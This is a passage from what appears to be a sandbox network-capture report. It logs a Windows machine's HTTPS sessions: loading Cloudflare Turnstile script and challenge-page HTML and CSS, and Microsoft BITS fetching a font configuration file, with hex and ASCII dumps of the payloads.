2024-04-18 20:48:28 UTC	367	IN	HTTP/1.1 302 Found Date: Thu, 18 Apr 2024 20:48:28 GMT Content-Length: 0 Connection: close access-control-allow-origin: * location: /turnstile/v0/g/54ea73d52131/api.js?onload=onloadTurnstileCallback cross-origin-resource-policy: cross-origin cache-control: max-age=300, public Server: cloudflare CF-RAY: 87678413c9087be1-ATL alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49717	23.63.206.91	443

Timestamp	Bytes transferred	Direction	Data
2024-04-18 20:48:29 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-18 20:48:29 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (chd/073D) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Cache-Control: public, max-age=209719 Date: Thu, 18 Apr 2024 20:48:29 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49718	104.17.3.184	443	6604	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 20:48:29 UTC	617	OUT	GET /turnstile/v0/g/54ea73d52131/api.js?onload=onloadTurnstileCallback HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-18 20:48:29 UTC	340	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 20:48:29 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 42415 Connection: close Access-Control-Allow-Origin: * Cache-Control: max-age=31536000 Cross-Origin-Resource-Policy: cross-origin Server: cloudflare CF-RAY: 876784196de6ade3-ATL alt-svc: h3=":443"; ma=86400
2024-04-18 20:48:29 UTC	1369	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 62 74 28 65 2c 72 2c 74 2c 6f 2c 75 2c 73 2c 6d 29 7b 74 72 79 7b 76 61 72 20 62 3d 65 5b 73 5d 28 6d 29 2c 68 3d 62 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 64 29 7b 74 28 64 29 3b 72 65 74 75 72 6e 7d 62 2e 64 6f 6e 65 3f 72 28 68 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 68 29 2e 74 68 65 6e 28 6f 2c 75 29 7d 66 75 6e 63 74 69 6f 6e 20 45 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 74 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 75 29 7b 76 61 72 20 73 3d 65 2e 61 70 70 6c 79 28 72 2c 74 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function bt(e,r,t,o,u,s,m){try{var b=e[s](m),h=b.value}catch(d){t(d);return}b.done?r(h):Promise.resolve(h).then(o,u)}function Et(e){return function(){var r=this,t=arguments;return new Promise(function(o,u){var s=e.apply(r,t);funct
2024-04-18 20:48:29 UTC	1369	IN	Data Raw: 74 28 65 29 7b 69 66 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 29 29 72 65 74 75 72 6e 20 65 7d 66 75 6e 63 74 69 6f 6e 20 53 74 28 65 2c 72 29 7b 76 61 72 20 74 3d 65 3d 3d 6e 75 6c 6c 3f 6e 75 6c 6c 3a 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 7c 7c 65 5b 22 40 40 69 74 65 72 61 74 6f 72 22 5d 3b 69 66 28 74 21 3d 6e 75 6c 6c 29 7b 76 61 72 20 6f 3d 5b 5d 2c 75 3d 21 30 2c 73 3d 21 31 2c 6d 2c 62 3b 74 72 79 7b 66 6f 72 28 74 3d 74 2e 63 61 6c 6c 28 65 29 3b 21 28 75 3d 28 6d 3d 74 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 29 26 26 28 6f 2e 70 75 73 68 28 6d 2e 76 61 6c 75 65 29 2c 21 28 72 26 26 6f 2e 6c 65 6e 67 74 68 3d 3d 3d 72 29 29 3b 75 3d 21 30 29 Data Ascii: t(e){if(Array.isArray(e))return e}function St(e,r){var t=e==null?null:typeof Symbol!="undefined"&&e[Symbol.iterator]\|\|e["@@iterator"];if(t!=null){var o=[],u=!0,s=!1,m,b;try{for(t=t.call(e);!(u=(m=t.next()).done)&&(o.push(m.value),!(r&&o.length===r));u=!0)
2024-04-18 20:48:29 UTC	1369	IN	Data Raw: 5d 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 68 28 64 29 7b 69 66 28 6f 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 47 65 6e 65 72 61 74 6f 72 20 69 73 20 61 6c 72 65 61 64 79 20 65 78 65 63 75 74 69 6e 67 2e 22 29 3b 66 6f 72 28 3b 6d 26 26 28 6d 3d 30 2c 64 5b 30 5d 26 26 28 74 3d 30 29 29 2c 74 3b 29 74 72 79 7b 69 66 28 6f 3d 31 2c 75 26 26 28 73 3d 64 5b 30 5d 26 32 3f 75 2e 72 65 74 75 72 6e 3a 64 5b 30 5d 3f 75 2e 74 68 72 6f 77 7c 7c 28 28 73 3d 75 2e 72 65 74 75 72 6e 29 26 26 73 2e 63 61 6c 6c 28 75 29 2c 30 29 3a 75 2e 6e 65 78 74 29 26 26 21 28 73 3d 73 2e 63 61 6c 6c 28 75 2c 64 5b 31 5d 29 29 2e 64 6f 6e 65 29 72 65 74 75 72 6e 20 73 3b 73 77 69 74 63 68 28 75 3d 30 2c 73 26 26 28 64 3d 5b 64 5b 30 5d 26 32 2c 73 2e 76 61 6c Data Ascii: ])}}function h(d){if(o)throw new TypeError("Generator is already executing.");for(;m&&(m=0,d[0]&&(t=0)),t;)try{if(o=1,u&&(s=d[0]&2?u.return:d[0]?u.throw\|\|((s=u.return)&&s.call(u),0):u.next)&&!(s=s.call(u,d[1])).done)return s;switch(u=0,s&&(d=[d[0]&2,s.val
2024-04-18 20:48:29 UTC	1369	IN	Data Raw: 28 42 3d 7b 7d 29 29 3b 76 61 72 20 43 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 2c 65 2e 4c 49 47 48 54 3d 22 6c 69 67 68 74 22 2c 65 2e 44 41 52 4b 3d 22 64 61 72 6b 22 7d 29 28 43 65 7c 7c 28 43 65 3d 7b 7d 29 29 3b 76 61 72 20 5f 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 5f 65 7c 7c 28 5f 65 3d 7b 7d 29 29 3b 76 61 72 20 51 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 51 7c 7c 28 51 3d 7b 7d 29 29 3b 76 61 72 20 72 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e Data Ascii: (B={}));var Ce;(function(e){e.AUTO="auto",e.LIGHT="light",e.DARK="dark"})(Ce\|\|(Ce={}));var _e;(function(e){e.NEVER="never",e.AUTO="auto"})(_e\|\|(_e={}));var Q;(function(e){e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(Q\|\|(Q={}));var re;(function(e){e.N
2024-04-18 20:48:29 UTC	1369	IN	Data Raw: 20 65 3d 3d 3d 22 61 75 74 6f 22 7c 7c 6d 72 2e 74 65 73 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 6e 74 28 65 29 7b 72 65 74 75 72 6e 20 4e 28 5b 22 61 6c 77 61 79 73 22 2c 22 65 78 65 63 75 74 65 22 2c 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 61 74 28 65 29 7b 72 65 74 75 72 6e 20 4e 28 5b 22 72 65 6e 64 65 72 22 2c 22 65 78 65 63 75 74 65 22 5d 2c 65 29 7d 76 61 72 20 46 3d 22 30 2f 30 22 3b 76 61 72 20 6b 74 3d 33 30 30 2c 4e 74 3d 31 30 3b 76 61 72 20 75 65 3d 22 63 66 2d 63 68 6c 2d 77 69 64 67 65 74 2d 22 2c 50 3d 22 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 22 2c 4c 74 3d 22 2e 63 66 2d 74 75 72 6e 73 74 69 6c 65 22 2c 4d 74 3d 22 2e 63 66 2d 63 68 61 6c 6c 65 6e 67 65 22 2c Data Ascii: e==="auto"\|\|mr.test(e)}function nt(e){return N(["always","execute","interaction-only"],e)}function at(e){return N(["render","execute"],e)}var F="0/0";var kt=300,Nt=10;var ue="cf-chl-widget-",P="cloudflare-challenge",Lt=".cf-turnstile",Mt=".cf-challenge",
2024-04-18 20:48:29 UTC	1369	IN	Data Raw: 75 6e 63 74 69 6f 6e 20 61 65 28 65 29 7b 72 65 74 75 72 6e 20 61 65 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 2e 5f 5f 70 72 6f 74 6f 5f 5f 7c 7c 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 74 29 7d 2c 61 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 71 74 28 65 29 7b 72 65 74 75 72 6e 20 46 75 6e 63 74 69 6f 6e 2e 74 6f 53 74 72 69 6e 67 2e 63 61 6c 6c 28 65 29 2e 69 6e 64 65 78 4f 66 28 22 5b 6e 61 74 69 76 65 20 63 6f 64 65 5d 22 29 21 3d 3d 2d 31 7d 66 75 6e 63 74 69 6f 6e 20 4c 65 28 65 29 7b 76 61 72 20 72 3d 74 79 70 65 6f 66 20 4d 61 70 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 6e Data Ascii: unction ae(e){return ae=Object.setPrototypeOf?Object.getPrototypeOf:function(t){return t.__proto__\|\|Object.getPrototypeOf(t)},ae(e)}function qt(e){return Function.toString.call(e).indexOf("[native code]")!==-1}function Le(e){var r=typeof Map=="function"?n
2024-04-18 20:48:29 UTC	1369	IN	Data Raw: 74 69 6f 6e 20 6f 74 28 29 7b 76 61 72 20 65 3d 2f 5c 2f 74 75 72 6e 73 74 69 6c 65 5c 2f 76 30 28 5c 2f 2e 2a 29 3f 5c 2f 61 70 69 5c 2e 6a 73 2f 2c 72 3d 64 6f 63 75 6d 65 6e 74 2e 63 75 72 72 65 6e 74 53 63 72 69 70 74 3b 69 66 28 4d 28 72 2c 48 54 4d 4c 53 63 72 69 70 74 45 6c 65 6d 65 6e 74 29 26 26 65 2e 74 65 73 74 28 72 2e 73 72 63 29 29 72 65 74 75 72 6e 20 72 3b 66 6f 72 28 76 61 72 20 74 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 73 63 72 69 70 74 22 29 2c 6f 3d 30 2c 75 3b 75 3d 74 5b 6f 5d 3b 6f 2b 2b 29 69 66 28 4d 28 75 2c 48 54 4d 4c 53 63 72 69 70 74 45 6c 65 6d 65 6e 74 29 26 26 65 2e 74 65 73 74 28 75 2e 73 72 63 29 29 72 65 74 75 72 6e 20 75 7d 66 75 6e 63 74 69 6f 6e 20 51 74 28 29 7b 76 61 72 Data Ascii: tion ot(){var e=/\/turnstile\/v0(\/.*)?\/api\.js/,r=document.currentScript;if(M(r,HTMLScriptElement)&&e.test(r.src))return r;for(var t=document.querySelectorAll("script"),o=0,u;u=t[o];o++)if(M(u,HTMLScriptElement)&&e.test(u.src))return u}function Qt(){var
2024-04-18 20:48:29 UTC	1369	IN	Data Raw: 65 71 2d 31 2d 79 72 29 7b 76 61 72 20 4f 3b 64 2e 77 61 74 63 68 63 61 74 2e 6c 61 73 74 41 63 6b 65 64 53 65 71 3d 30 2c 64 2e 77 61 74 63 68 63 61 74 2e 73 65 71 3d 30 2c 64 2e 69 73 45 78 65 63 75 74 69 6e 67 3d 21 31 2c 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 54 75 72 6e 73 74 69 6c 65 20 57 69 64 67 65 74 20 73 65 65 6d 20 74 6f 20 68 61 76 65 20 63 72 61 73 68 65 64 3a 20 22 2c 68 29 3b 76 61 72 20 41 3b 69 66 28 28 4f 3d 65 2e 6d 73 67 48 61 6e 64 6c 65 72 29 3d 3d 3d 6e 75 6c 6c 7c 7c 4f 3d 3d 3d 76 6f 69 64 20 30 7c 7c 4f 2e 63 61 6c 6c 28 65 2c 7b 64 61 74 61 3a 7b 73 6f 75 72 63 65 3a 50 2c 77 69 64 67 65 74 49 64 3a 68 2c 63 6f 64 65 3a 4f 65 2c 65 76 65 6e 74 3a 22 66 61 69 6c 22 2c 72 63 56 3a 28 41 3d 64 2e 72 63 56 29 21 3d 3d 6e 75 6c 6c Data Ascii: eq-1-yr){var O;d.watchcat.lastAckedSeq=0,d.watchcat.seq=0,d.isExecuting=!1,console.log("Turnstile Widget seem to have crashed: ",h);var A;if((O=e.msgHandler)===null\|\|O===void 0\|\|O.call(e,{data:{source:P,widgetId:h,code:Oe,event:"fail",rcV:(A=d.rcV)!==null
2024-04-18 20:48:29 UTC	1369	IN	Data Raw: 72 20 62 3d 73 74 28 74 2c 75 29 2c 68 3d 73 3f 22 68 2f 22 2e 63 6f 6e 63 61 74 28 73 2c 22 2f 22 29 3a 22 22 2c 64 3d 6d 3f 22 3f 22 2e 63 6f 6e 63 61 74 28 6d 29 3a 22 22 3b 72 65 74 75 72 6e 22 22 2e 63 6f 6e 63 61 74 28 62 2c 22 2f 63 64 6e 2d 63 67 69 2f 63 68 61 6c 6c 65 6e 67 65 2d 70 6c 61 74 66 6f 72 6d 2f 22 29 2e 63 6f 6e 63 61 74 28 68 2c 22 74 75 72 6e 73 74 69 6c 65 2f 69 66 2f 6f 76 32 2f 61 76 30 2f 72 63 76 22 29 2e 63 6f 6e 63 61 74 28 6f 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 72 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 74 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 74 2e 73 69 7a 65 29 2e 63 6f 6e 63 61 74 28 64 29 7d 66 75 6e 63 74 69 6f 6e 20 4b 74 28 65 2c 72 29 7b 76 61 72 20 74 Data Ascii: r b=st(t,u),h=s?"h/".concat(s,"/"):"",d=m?"?".concat(m):"";return"".concat(b,"/cdn-cgi/challenge-platform/").concat(h,"turnstile/if/ov2/av0/rcv").concat(o,"/").concat(e,"/").concat(r,"/").concat(t.theme,"/").concat(t.size).concat(d)}function Kt(e,r){var t
2024-04-18 20:48:29 UTC	1369	IN	Data Raw: 74 4e 6f 64 65 2c 22 2f 22 2e 63 6f 6e 63 61 74 28 62 29 2e 63 6f 6e 63 61 74 28 6f 29 29 7d 3b 72 65 74 75 72 6e 20 72 28 65 2c 22 22 29 7d 66 75 6e 63 74 69 6f 6e 20 5a 74 28 65 2c 72 2c 74 29 7b 66 6f 72 28 76 61 72 20 6f 3d 22 22 2c 75 3d 30 2c 73 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 4e 6f 64 65 49 74 65 72 61 74 6f 72 28 65 2c 4e 6f 64 65 46 69 6c 74 65 72 2e 53 48 4f 57 5f 45 4c 45 4d 45 4e 54 7c 4e 6f 64 65 46 69 6c 74 65 72 2e 53 48 4f 57 5f 54 45 58 54 2c 7b 61 63 63 65 70 74 4e 6f 64 65 3a 66 75 6e 63 74 69 6f 6e 28 53 29 7b 72 65 74 75 72 6e 20 75 3e 72 7c 7c 6f 2e 6c 65 6e 67 74 68 3e 74 3f 4e 6f 64 65 46 69 6c 74 65 72 2e 46 49 4c 54 45 52 5f 52 45 4a 45 43 54 3a 4e 6f 64 65 46 69 6c 74 65 72 2e 46 49 4c 54 45 52 5f 41 43 43 45 50 Data Ascii: tNode,"/".concat(b).concat(o))};return r(e,"")}function Zt(e,r,t){for(var o="",u=0,s=document.createNodeIterator(e,NodeFilter.SHOW_ELEMENT\|NodeFilter.SHOW_TEXT,{acceptNode:function(S){return u>r\|\|o.length>t?NodeFilter.FILTER_REJECT:NodeFilter.FILTER_ACCEP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49719	23.63.206.91	443

Timestamp	Bytes transferred	Direction	Data
2024-04-18 20:48:29 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-18 20:48:30 UTC	531	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0rcGnYgAAAAANOnx9vccHTr21ROgX9ESTU0pDRURHRTAzMDkAY2VmYzI1ODMtYTliMi00NGE3LTk3NTUtYjc2ZDE3ZTA1Zjdm Cache-Control: public, max-age=209704 Date: Thu, 18 Apr 2024 20:48:29 GMT Content-Length: 55 Connection: close X-CID: 2
2024-04-18 20:48:30 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49720	104.17.2.184	443	6604	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 20:48:30 UTC	816	OUT	GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/0y69g/1x00000000000000000000AA/auto/normal HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-18 20:48:30 UTC	1329	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 20:48:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA document-policy: js-profiling cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA content-security-policy: frame-src https://challenges.cloudflare.com/ blob:; base-uri 'self' cross-origin-opener-policy: same-origin permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() referrer-policy: same-origin cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0
2024-04-18 20:48:30 UTC	149	IN	Data Raw: 63 72 6f 73 73 2d 6f 72 69 67 69 6e 2d 65 6d 62 65 64 64 65 72 2d 70 6f 6c 69 63 79 3a 20 72 65 71 75 69 72 65 2d 63 6f 72 70 0d 0a 76 61 72 79 3a 20 61 63 63 65 70 74 2d 65 6e 63 6f 64 69 6e 67 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 37 36 37 38 34 31 64 62 39 66 35 31 33 39 39 2d 41 54 4c 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: cross-origin-embedder-policy: require-corpvary: accept-encodingServer: cloudflareCF-RAY: 8767841db9f51399-ATLalt-svc: h3=":443"; ma=86400
2024-04-18 20:48:30 UTC	1369	IN	Data Raw: 31 65 64 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c Data Ascii: 1ed2<!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scal
2024-04-18 20:48:30 UTC	1369	IN	Data Raw: 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 37 70 78 3b 0a 20 20 63 6f 6c 6f 72 3a 20 23 31 64 31 66 32 30 3b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 73 79 73 74 65 6d 2d 75 69 2c 20 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 72 6f 62 6f 74 6f 2c 20 6f 78 79 67 65 6e 2c 20 75 62 75 6e 74 75 2c 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 Data Ascii: kground-color: #fff; padding: 0; width: 100%; height: 100%; overflow: hidden; line-height: 17px; color: #1d1f20; font-family: -apple-system, system-ui, blinkmacsystemfont, "Segoe UI", roboto, oxygen, ubuntu, "Helvetica Neue", arial, sans-ser
2024-04-18 20:48:30 UTC	1369	IN	Data Raw: 70 78 3b 0a 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 0a 20 20 62 6f 78 2d 73 68 61 64 6f 77 3a 20 69 6e 73 65 74 20 30 20 30 20 30 20 23 30 33 38 31 32 37 3b 0a 20 20 77 69 64 74 68 3a 20 33 30 70 78 3b 0a 20 20 68 65 69 67 68 74 3a 20 33 30 70 78 3b 0a 20 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 63 61 6c 65 2d 75 70 2d 63 65 6e 74 65 72 20 30 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 35 35 2c 20 30 2e 30 38 35 2c 20 30 2e 36 38 2c 20 30 2e 35 33 29 20 62 6f 74 68 3b 0a 20 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 20 36 70 78 3b 0a 20 20 73 74 72 6f 6b 65 3a 20 23 66 38 66 38 66 38 3b 0a 20 20 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 20 31 30 3b 0a 7d 0a 23 73 75 63 63 65 73 73 2d 69 63 6f 6e 20 2e 70 31 20 Data Ascii: px; border-radius: 50%; box-shadow: inset 0 0 0 #038127; width: 30px; height: 30px; animation: scale-up-center 0.6s cubic-bezier(0.55, 0.085, 0.68, 0.53) both; stroke-width: 6px; stroke: #f8f8f8; stroke-miterlimit: 10;}#success-icon .p1
2024-04-18 20:48:30 UTC	1369	IN	Data Raw: 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 39 34 39 34 39 34 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 2e 6d 61 72 6b 20 7b 0a 20 20 62 6f 72 64 65 72 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 64 61 64 61 64 61 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 32 32 32 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 69 6e 70 75 74 3a 66 6f 63 75 73 20 7e 20 2e 6d 61 72 6b 2c 20 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 63 Data Ascii: lenge-error-text a:active,.theme-dark #challenge-error-text a:focus { color: #949494;}.theme-dark .ctp-checkbox-label .mark { border: 2px solid #dadada; background-color: #222;}.theme-dark .ctp-checkbox-label input:focus ~ .mark, .theme-dark .c
